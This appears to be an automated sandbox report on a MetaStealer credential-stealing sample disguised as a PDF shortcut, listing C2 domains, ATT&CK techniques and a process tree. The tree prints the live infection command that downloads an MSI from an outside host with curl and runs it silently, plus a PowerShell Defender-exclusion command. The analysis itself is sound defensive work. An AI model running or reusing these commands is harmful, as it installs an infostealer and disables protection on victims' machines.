metastealer | 02c22ae33c4f792f3b30e5aa8d465bd51e408079aa6f6ace1e0c56cd03a9128e

Analysis

max time kernel
146s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
31/01/2025, 10:43

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General

Target

Document-0191536.pdf.lnk.download.lnk
Size

3KB
MD5

55546c788e0e0bfc56207ee32f6c1eab
SHA1

8b06c2ab87a75bdaa4962f8eeac7c094242b1e69
SHA256

02c22ae33c4f792f3b30e5aa8d465bd51e408079aa6f6ace1e0c56cd03a9128e
SHA512

0f51136e562b8f774ca89824c3199d97008942f16f2d2df5e4335be8467a36c7c600999d9bf5fb9c163fc2ce630d2519d54e17b1b06a8ff3fbdbf4242e21322a

Score

10^/10

metastealer discovery execution spyware stealer

Malware Config

Extracted

Family

metastealer

kiyaqoimsiieeyqa.xyz

ssqsmisuowqcwsqo.xyz

ykqmwgsuummieaug.xyz

ewukeskgqswqesiw.xyz

cscqcsgewmwwaaui.xyz

cyoksykiamiscyia.xyz

okgomokemoucqeso.xyz

ikwacuakiqeimwua.xyz

aawcsqqaywckiwmi.xyz

aiqasksgmyeqocei.xyz

qgumcuisgaeyuqqe.xyz

eiesoycamyqqgcea.xyz

ywceswakicsqomqw.xyz

auaieuewouawygku.xyz

cmiascusccywowcs.xyz

uiqkkomkaceqacec.xyz

quqeciymqmkqccqw.xyz

ssqsauuuyyigouou.xyz

aogaakukuugqswcy.xyz

ucgwcwsuqsuwewgc.xyz

Attributes

dga_seed
21845
domain_length
16
num_dga_domains
10000
port
443

Signatures

Meta Stealer
Meta Stealer steals passwords stored in browsers, written in C++.
stealer metastealer

MetaStealer payload 1 IoCs

resource	yara_rule
behavioral2/memory/1712-184-0x0000000010000000-0x0000000010738000-memory.dmp	family_metastealer

Metastealer family
metastealer

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
64	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-70482961-775596374-3727440602-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-70482961-775596374-3727440602-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1712	setup.exe

Loads dropped DLL 1 IoCs

pid	Process
1764	MsiExec.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5000	ICACLS.EXE

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	EXPAND.EXE
File created	C:\Windows\Installer\e57a400.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	EXPAND.EXE
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA558.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e57a400.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{ADBD6944-4E7A-423C-A399-D851ADD20A5C}	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ICACLS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXPAND.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3820	systeminfo.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2720	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-70482961-775596374-3727440602-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
2176	msedge.exe
2176	msedge.exe
2432	msedge.exe
2432	msedge.exe
1208	identity_helper.exe
1208	identity_helper.exe
2572	msiexec.exe
2572	msiexec.exe
64	powershell.exe
64	powershell.exe
64	powershell.exe
1712	setup.exe
1712	setup.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	taskkill.exe
Token: SeShutdownPrivilege	4424	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4424	msiexec.exe
Token: SeSecurityPrivilege	2572	msiexec.exe
Token: SeCreateTokenPrivilege	4424	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4424	msiexec.exe
Token: SeLockMemoryPrivilege	4424	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4424	msiexec.exe
Token: SeMachineAccountPrivilege	4424	msiexec.exe
Token: SeTcbPrivilege	4424	msiexec.exe
Token: SeSecurityPrivilege	4424	msiexec.exe
Token: SeTakeOwnershipPrivilege	4424	msiexec.exe
Token: SeLoadDriverPrivilege	4424	msiexec.exe
Token: SeSystemProfilePrivilege	4424	msiexec.exe
Token: SeSystemtimePrivilege	4424	msiexec.exe
Token: SeProfSingleProcessPrivilege	4424	msiexec.exe
Token: SeIncBasePriorityPrivilege	4424	msiexec.exe
Token: SeCreatePagefilePrivilege	4424	msiexec.exe
Token: SeCreatePermanentPrivilege	4424	msiexec.exe
Token: SeBackupPrivilege	4424	msiexec.exe
Token: SeRestorePrivilege	4424	msiexec.exe
Token: SeShutdownPrivilege	4424	msiexec.exe
Token: SeDebugPrivilege	4424	msiexec.exe
Token: SeAuditPrivilege	4424	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4424	msiexec.exe
Token: SeChangeNotifyPrivilege	4424	msiexec.exe
Token: SeRemoteShutdownPrivilege	4424	msiexec.exe
Token: SeUndockPrivilege	4424	msiexec.exe
Token: SeSyncAgentPrivilege	4424	msiexec.exe
Token: SeEnableDelegationPrivilege	4424	msiexec.exe
Token: SeManageVolumePrivilege	4424	msiexec.exe
Token: SeImpersonatePrivilege	4424	msiexec.exe
Token: SeCreateGlobalPrivilege	4424	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeDebugPrivilege	64	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe
2432	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1804 wrote to memory of 628	1804	cmd.exe	85
PID 1804 wrote to memory of 628	1804	cmd.exe	85
PID 628 wrote to memory of 2432	628	cmd.exe	86
PID 628 wrote to memory of 2432	628	cmd.exe	86
PID 2432 wrote to memory of 4076	2432	msedge.exe	89
PID 2432 wrote to memory of 4076	2432	msedge.exe	89
PID 628 wrote to memory of 4804	628	cmd.exe	90
PID 628 wrote to memory of 4804	628	cmd.exe	90
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 5008	2432	msedge.exe	91
PID 2432 wrote to memory of 2176	2432	msedge.exe	92
PID 2432 wrote to memory of 2176	2432	msedge.exe	92
PID 2432 wrote to memory of 4072	2432	msedge.exe	93
PID 2432 wrote to memory of 4072	2432	msedge.exe	93
PID 2432 wrote to memory of 4072	2432	msedge.exe	93
PID 2432 wrote to memory of 4072	2432	msedge.exe	93
PID 2432 wrote to memory of 4072	2432	msedge.exe	93
PID 2432 wrote to memory of 4072	2432	msedge.exe	93
PID 2432 wrote to memory of 4072	2432	msedge.exe	93
PID 2432 wrote to memory of 4072	2432	msedge.exe	93
PID 2432 wrote to memory of 4072	2432	msedge.exe	93
PID 2432 wrote to memory of 4072	2432	msedge.exe	93
PID 2432 wrote to memory of 4072	2432	msedge.exe	93
PID 2432 wrote to memory of 4072	2432	msedge.exe	93
PID 2432 wrote to memory of 4072	2432	msedge.exe	93
PID 2432 wrote to memory of 4072	2432	msedge.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Document-0191536.pdf.lnk.download.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k start msedge https://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf & curl -sLo C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi https://lnbox.info/cool/setup_x64.msi & C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi /qn | Taskkill /f /im cmd.exe
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2432
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa575a46f8,0x7ffa575a4708,0x7ffa575a4718
      4⤵
      PID:4076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2124 /prefetch:2
      4⤵
      PID:5008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2848 /prefetch:8
      4⤵
      PID:4072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
      4⤵
      PID:3284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
      4⤵
      PID:3084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4664 /prefetch:1
      4⤵
      PID:3364
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=5152 /prefetch:6
      4⤵
      PID:680
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5544 /prefetch:8
      4⤵
      PID:3496
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5544 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1208
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4924 /prefetch:1
      4⤵
      PID:3696
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4900 /prefetch:1
      4⤵
      PID:5044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4192 /prefetch:1
      4⤵
      PID:1660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4140 /prefetch:1
      4⤵
      PID:1596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1720 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3240
- - C:\Windows\System32\curl.exe
    curl -sLo C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi https://lnbox.info/cool/setup_x64.msi
    3⤵
    PID:4804
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi" /qn
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4424
- - C:\Windows\System32\taskkill.exe
    Taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2720

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4960

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3608

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2572
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 08DD7333EAD7EABE0DF617A024CF1D08
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1764
- - C:\Windows\SysWOW64\ICACLS.EXE
    "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-8e69762f-b615-4fb1-a546-2c4b134267b2\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:5000
- - C:\Windows\SysWOW64\EXPAND.EXE
    "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1604
- - C:\Users\Admin\AppData\Local\Temp\MW-8e69762f-b615-4fb1-a546-2c4b134267b2\files\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\MW-8e69762f-b615-4fb1-a546-2c4b134267b2\files\setup.exe" /VERYSILENT /VERYSILENT
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1712
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\search.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:64
  - - C:\Windows\SysWOW64\systeminfo.exe
      systeminfo
      4⤵
      System Location Discovery: System Language Discovery
      Gathers system information
      PID:3820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
9bfb45e464f029b27cd825568bc06765

SHA1
a4962b4fd45004732f071e16977522709ab0ce60

SHA256
ceb8f1b0aaa1ba575c3704e73fd77edf932d68c8be902b33f1ba3b1d130cd139

SHA512
f87cce8bb5489b56027f5a285b948b639a1c7b0f213a111f057235177e5bffc537627c82586736704e398a0185cf2ad8ba8cdee788531fb753a2d08f16e906c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
ae2a8f2ebc841509f7b978edf590d3cd

SHA1
91358152e27c0165334913228005540756c35bd3

SHA256
631550765e3db02be0709748c0634a2cfdab711cea94f5890854d0c1dfbcb214

SHA512
e52180dd175f1e6ff72d76400085869387cd70da33919de219a04dc26871e8421e93b22e7c59125c19c6ee54a8a8f742d796ac68ea9077c9dab5f03b80967d11

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
181B

MD5
1cd1076ea49dca53e30d29edcb76ca12

SHA1
62e13a81796399aeb854bf13bfbc1d3284ec74b4

SHA256
cd7b129236a194ac9c78db5fa3afd8804d8a0eff7e2908854dc921e27ed8eedf

SHA512
e14a785692afdab6703dd4df35060d69ab5aa1fc513070c75087572884cd80eaf2456bb9234492bc9e6a505f6681fd7985d76625765f02a04381413105f7822a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
90b87216ea2edb562c1719705ad57c6b

SHA1
30061d6e5b06eaba017bb33914fcb66553a2ef6a

SHA256
3ce4ddb7cc599e7d1a9494e18f173281f52ab3aa33d629ad8d74f3d3e048ddb1

SHA512
aafd3f9e2c3beb29c97ba33f3768d21d2e08b7a3d7f7391ab363bae73f45201c089752afd2672a0b9f8dd2776438090de46a5f36388c75660a6e2e93f0b078f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
96e093c5cd23cb7a84e93c88e9c3f832

SHA1
1043a63fba7b6eedb360bcd8a31c03ccf4b28a89

SHA256
e64c60c1af3c8edcdefd149e9d1ec7e0e10ee846ddebdaa6f373c358b379695b

SHA512
41fe01f36a376d323e1c504b252d25235c90a71daa611152695d277aebe0b68b3c0a02441b817cc48a39ea451e561a012871aa54ff1f0d1963240f154cabc56e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
